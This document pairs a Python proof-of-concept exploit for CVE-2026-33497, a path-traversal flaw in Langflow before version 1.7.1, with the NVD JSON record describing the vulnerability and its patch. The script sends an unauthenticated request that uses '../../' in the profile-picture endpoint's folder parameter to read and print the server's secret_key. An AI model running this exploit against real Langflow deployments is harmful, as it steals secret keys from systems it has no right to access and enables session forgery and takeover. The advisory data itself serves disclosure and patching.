CVE-2026-33497

import requests # Target URL (replace with actual host) target_url = "http://localhost:3000/profile_pictures/{folder_name}/{file_name}" # Exploit payload: Use '../' to traverse directories # Assuming the application root is a few levels up from the upload folder # The goal is to read the sensitive 'secret_key' file. payload_folder = "../../" payload_file = "secret_key" # Construct the malicious URL exploit_url = target_url.format(folder_name=payload_folder, file_name=payload_file) try: # Send the malicious request without authentication response = requests.get(exploit_url) # Check if the request was successful if response.status_code == 200: print("[+] Exploit successful! Secret key content:") print(response.text) else: print(f"[-] Exploit failed. Status code: {response.status_code}") print("[-] Response:") print(response.text) except Exception as e: print(f"[!] An error occurred: {e}")

{"cve": {"id": "CVE-2026-33497", "sourceIdentifier": "[email protected]", "published": "2026-03-24T14:16:30.780", "lastModified": "2026-03-24T19:20:25.140", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Langflow is a tool for building and deploying AI-powered agents and workflows. Prior to version 1.7.1, in the download_profile_picture function of the /profile_pictures/{folder_name}/{file_name} endpoint, the folder_name and file_name parameters are not strictly filtered, which allows the secret_key to be read across directories. Version 1.7.1 contains a patch."}, {"lang": "es", "value": "Langflow es una herramienta para construir y desplegar agentes y flujos de trabajo impulsados por IA. Antes de la versión 1.7.1, en la función download_profile_picture del endpoint /profile_pictures/{folder_name}/{file_name}, los parámetros folder_name y file_name no se filtran estrictamente, lo que permite leer la secret_key a través de directorios. La versión 1.7.1 contiene un parche."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 8.7, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-22"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:langflow:langflow:*:*:*:*:*:*:*:*", "versionEndExcluding": "1.7.1", "matchCriteriaId": "E2F27CA9-B577-49BB-B10F-3DB9B4DB934E"}]}]}], "references": [{"url": "https://github.com/langflow-ai/langflow/security/advisories/GHSA-ph9w-r52h-28p7", "source": "[email protected]", "tags": ["Exploit", "Vendor Advisory"]}]}}